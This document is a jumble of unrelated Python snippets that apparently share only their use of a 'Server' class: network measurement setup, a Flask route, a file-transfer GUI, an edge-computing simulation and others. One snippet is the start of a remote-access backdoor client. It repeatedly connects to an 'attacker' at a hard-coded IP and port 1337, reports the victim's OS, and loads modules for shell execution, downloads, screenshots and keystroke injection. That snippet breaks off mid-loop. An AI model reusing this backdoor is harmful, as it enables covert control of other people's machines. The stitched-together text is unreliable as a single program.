def __init__(self, measurement_name=None): self.A = Client(const.CLIENT_ADDRESS) self.R = Router(const.ROUTER_ADDRESS_LOCAL, const.ROUTER_USER, const.ROUTER_PASS) self.S = Server(const.SERVER_ADDRESS) self.EXTRA_NODES = const.EXTRA_NODES if self.EXTRA_NODES: self.arrB = [] for addr in const.EXTRA_NODE_ADDRESSES: self.arrB.append(Server(addr)) self.check_connection() self.iface = self.get_default_interface() self.A.ip = self.get_ip_address(self.iface) self.device_list = [self.A, self.R, self.S] self.run_number = 0 self.collect_calibrate = False self.experiment_counter = 0 self.experiment_name = 'default' self.create_monitor_interface() self.set_unique_id(measurement_name) self.set_test_timeout(const.EXPERIMENT_TIMEOUT) self.kill_all(1) #kill tcpdump, iperf, netperf, fping on all self.clear_all( 0) #clear /tmp/browserlab/* but don't close the connection to R self.set_config_options(const.METHOD) self.set_iperf_config_options() self.start_servers() self.probe_rate = defaultdict(int) self.set_udp_rate_mbit(const.INIT_ACCESS_RATE, const.INIT_HOME_RATE, const.INIT_BLAST_RATE)
def _launch(parser: Parser): try: # noinspection PyUnresolvedReferences from blackfire import probe # Profiler: https://blackfire.io free with the Git Student Package except ImportError: BLACKFIRE_ENABLED = False logging.info("Blackfire not installed: passing") else: BLACKFIRE_ENABLED = True probe.initialize() probe.enable() logging.info("Blackfire Enabled!") avail_cores = get_available_core() # Here starts the server :D server = Server.Server(parser, avail_cores) if parser.test: server.run_test() return server.start() # End Network stuff server.stop() if BLACKFIRE_ENABLED: probe.end() logging.info("Server stopped: goodbye!") sys.exit(0)
def proceed(frame, name, ip_entry, port_entry): """ This function receives frame, name, ip_entry, port_entry as parameters. It raises the frame, creates an instance of the Client/Server class according to the name parameter and binds a button to the send/receive text file function. """ ip = ip_entry.get() port = port_entry.get() if ip != '' and port != '': raise_frame(frame) title_label = Label(frame, text=name) title_label.grid(row=1) if name == 'Client': global client client = Client(ip, int(port)) send_button = Button(frame, text="Send text file", command=client.send_text_file) send_button.grid(row=2) else: global server server = Server(ip, int(port), 1) recv_button = Button(frame, text="Receive text file", command=server.recv_text_file) recv_button.grid(row=2)
def host(): try: pik.load() input = request.get_json() if input: host = input['user'] data = input[ 'data'] #this should be the top tracks json that you get from the api call server = Server(host, data) output = {'serverid': server.serverid} #Used for temporary information storage between phones and routes #ServerID prevents the database from making mistakes via duplicate information database.insert({ "User": host, "ServerID": server.serverid, "Prep": False }) pik.save() return json.dumps(output) except Exception as e: return str(e)
def run(): s = Server('127.0.0.1', 8820, 1) s.recv_text_file()
import time import socket import subprocess import platform import base64 import urllib2 import argparse import ImageGrab from Crypto.Cipher import AES from classes import Server from modules.downHTTP import downHTTP from modules.execShell import execShell from modules.screenshot import screenshot from modules.vbs import buildVBS, runVBS, sendKeys, activApp server = Server('192.168.2.164', port=1337) while True: time.sleep(1) # connect to the server / attacker server.connect() # receive activation command data = server.receive() if data == 'Activate': active = True server.send(' -- OS : ' + platform.system() + ' ' + platform.release() + ' -- Build : ' + platform.version() + ' --\n') while active: # receive command from server data = server.receive() if data == 'quit' or data == 'exit':
def __init__(self, serverid, appid): self.ServerID = serverid self.appID = appid self.server = Server(self.ServerID, "Webserverrrr")
class DataStorage: def __init__(self, serverid, appid): self.ServerID = serverid self.appID = appid self.server = Server(self.ServerID, "Webserverrrr") def store(self, data, currentDateTime): output = "Stored: {data} from app {appid} on server {serverid} {servername} at {currentDateTime}".format(data=data, appid=self.appID, serverid=self.ServerID,servername=self.server.serverInfo(self.ServerID),currentDateTime=currentDateTime) return output
def setup_sim(sim_param): # Create Job Profiles num_app_types = sim_param.num_apps low_mean = sim_param.low_mean_jobs high_mean = sim_param.high_mean_jobs lt = sim_param.latency_threshold job_profiles = [] for i in range(num_app_types): job_profiles += [ Job_Profile(job_name=str(i), latency_req=np.random.randint(lt[0], lt[1]), offload_mean=np.random.uniform(low_mean, high_mean)) ] # System physical Boundaries - All action takes within this boundaries = np.array([[0, sim_param.x_length], [0, sim_param.y_length]]) # Generate Servers num_resource = 1 weak_range = sim_param.server_weak_range strong_range = sim_param.server_strong_range # Generate Server servers = [] idx_counter = 0 for i in range(sim_param.num_servers): servers.append(Server(boundaries, level=2, rand_locs=True, locs=None)) servers[-1].server_resources(num_resource, weak_range, strong_range) servers[-1].assign_id(idx_counter) idx_counter += 1 # Generate Users users = [] idx_counter = 0 for i in range(sim_param.num_users): users += [ User(boundaries, sim_param.big_ts, 2, sim_param.user_lamdas, sim_param.user_max_speed) ] users[-1].generate_MC(servers) users[-1].assign_id(idx_counter) idx_counter += 1 # Generate Apps num_apps = len(users) app_id = np.random.choice(num_app_types, num_apps) apps = [] for i in range(len(app_id)): apps += [ Application(job_type=app_id[i], user_id=i, time_steps=sim_param.big_ts, job_profiles=job_profiles, mode=sim_param.app_mode, dist_n=sim_param.dist_n, dist_p=sim_param.dist_p, user=users[i], ts_big=sim_param.big_ts, ts_small=sim_param.small_ts) ] # Generate Containers - in dictionary indexed by {(server,app)} containers = {} for s in range(len(servers)): for a in range(num_app_types): service_rate = np.random.uniform(sim_param.container_service_low, sim_param.container_service_high) latency_restriction = job_profiles[a].latency_req containers[(s, a)] = Container(a, s, service_rate, latency_restriction) return servers, users, containers, apps